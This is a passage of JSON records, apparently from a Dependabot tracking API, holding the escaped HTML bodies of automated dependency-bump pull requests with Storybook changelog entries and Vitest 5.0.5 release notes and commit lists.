href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-vitest's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@...\n\n_Description has been truncated_","html_url":"https://github.com/dgee2/Menu/pull/1337","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgee2%2FMenu/issues/1337","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1337/packages"},{"uuid":"6004768367","node_id":"PR_kwDOSkQdD88AAAABKVlFAg","number":182,"state":"open","title":"chore(deps-dev): bump the vitest group with 2 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T20:14:02.000Z","updated_at":"2026-10-23T20:16:02.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"vitest","update_count":2,"packages":[{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the vitest group with 2 updates: [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest).\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 